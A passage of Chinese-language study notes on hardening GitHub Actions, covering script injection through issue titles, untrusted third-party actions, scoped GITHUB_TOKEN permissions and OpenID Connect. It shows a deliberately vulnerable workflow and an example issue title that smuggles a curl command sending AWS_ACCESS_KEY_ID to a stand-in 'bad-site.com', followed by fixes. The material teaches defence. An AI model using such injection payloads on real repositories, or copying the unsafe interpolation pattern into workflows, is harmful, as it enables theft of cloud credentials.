runs-on: ubuntu-latest
steps:
- name: Assign label
run: |
issue_title="${{ github.event.issue.title }}"
if [[ $issue_title == *"[bug]"* ]]; then
echo "Issue is a bug"
else
echo "Issue is not a bug"
fi
```
2. 建立一個 Script Injection Issue `"; echo "Got your secrets""`
> 從上面的 `run` command 可以發現最後被執行的為
> ```bash
> issue_title=""; echo "Got your secrets"""
> # 第一個 "; 把 title=" 關起來並開始新的 command
> # 執行 echo "Got your secrets"
> # 最後一個 " 避免最後多出一個 " 導致 failure
> ```
上面的 echo 可能無傷大雅，但假設將 issue 改為
`";curl http://bad-site.com?abc=$AWS_ACCESS_KEY_ID";`
就有可能取得你的 ACCESS_KEY 了！
- 之所以會發生是因為 `run` 會直接透過 runner 的 shell 執行，因此會將它視為 command 執行
- 解決方式
1. 透過 custom action 並將 value 以 `input` 的方式傳入
2. 建立 `env` 來存放傳入的 value，並在 `run` 中使用 `env`，而他將被視為 string 而非 command
```yaml
env:
TITLE: ${{ github.event.issue.title }}
run: |
if [[ "$TITLE" == *"[bug]"* ]]; then
echo "Issue is a bug"
else
echo "Issue is not a bug"
fi
```
### Malicious Third-Party Actions
> 使用第三方的 Actions 時，裡面有可能會執行一些東西取得你的資料或是做奇怪的事
- market place 裡面如果是通過驗證的作者會有藍勾勾，也就是 github 審核過的
- 如果使用其他未知來源的 actions，最好自己去看看人家寫了什麼
- 可以的話盡量使用你信任的來源或自己的 actions
### Permission Issues
> 建立 permission 可以加強避免被其他外部程式碼做怪怪的事，例如設定在 checkout code 時只能 `read-only`
- 範例：當 issue title 裡面 包含 `bug` 字串時，打 Github API 並對 issue 加上 `bug` label
1. 建立 action
```yaml
# .github/workflows/label-issues-real.yml
name: Label Issues (Permission Example)
on:
issues:
types: opened
jobs:
assign-label:
runs-on: ubuntu-latest
steps:
- name: Assign Label
if: contains(github.event.issue.title, 'bug')
run: |
curl -X POST \
--url https://api.github.com/repos/${{ github.repository }}/issues/${{ github.event.issue.number }}/labels \
-H 'authorizaion: Bearer ${{ secrets.GITHUB_TOKEN }}' \
-H 'content-type: application/json' \
-d '{
"labels": ["bug"]
}' \
--fail
```
> 到這裡為止我們還沒有自己設置 `GITHUB_TOKEN`，Github 會在執行這個 workflow 時 [自動產生](https://docs.github.com/en/actions/security-for-github-actions/security-guides/automatic-token-authentication) 一組，job 結束就會被移除；而我們設置的 permission 會決定這組 Token 的權限範圍
2. 可以在 action 裡面設置這個 job 只會用到部分的 permission
> 沒有設置的時候這個 workflow 將有幾乎所有的權限，設置後就只會留有設置的權限。也就是說出現 script injection 或其他外部 actions 動作時，能確保他無法存取這個 workflow 沒有的權限
```yaml!
name: Label Issues (Permission Example)
on:
issues:
types: opened
# Put here to apply to all jobs in the workflow
# permissions:
# issues: write
jobs:
assign-label:
permissions:
issues: write
runs-on: ubuntu-latest
steps:
# ...
```
3. Github 容許我們 [客製化 Token 所帶有的權限](https://docs.github.com/en/actions/writing-workflows/choosing-what-your-workflow-does/controlling-permissions-for-github_token)
### Third-Party Permissions & OpenID Connect
> 透過 [OpenID Connect](https://docs.github.com/en/actions/security-for-github-actions/security-hardening-your-deployments/about-security-hardening-with-openid-connect) 可以向第三方服務動態請求某部分的權限來處理 workflow 需要處理的事情，而這個暫時的權限只會存在到 workflow 結束
- 在與 AWS 互動時，AWS 會去抓你的 `AWS_ACCESS_KEY_ID` 和 `AWS_SECRET_ACCESS_KEY` 來存取服務，此時會發生以下問題
- 還是有可能被 script injection 取得此 token，因此並不是百分百安全
- 所有用到這個服務的 repository 都必須獨立設置 secrets
- 這些 Access Key 的權限有可能超出 workflow 要操作的範圍，對於服務所產生的風險較高
- 除了 AWS 外還有很多其他雲端服務能透過此方式取得權限，以下是 AWS 建立 OpenID 權限的資源
- [Github: Configuring OpenID Connect in Amazon Web Services](https://docs.github.com/en/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services)
- [AWS: Create an OpenID Connect (OIDC) identity provider in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.html)
### 其他相關資源
* [security-hardening-for-github-actions](https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions)
* [encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
* [GITHUB_TOKEN](https://docs.github.com/en/actions/security-guides/automatic-token-authentication)
* [Preventing Fork Pull Requests Attacks](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)
* [about-security-hardening-with-openid-connect](https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect)
Sign in with Wallet
Connect another wallet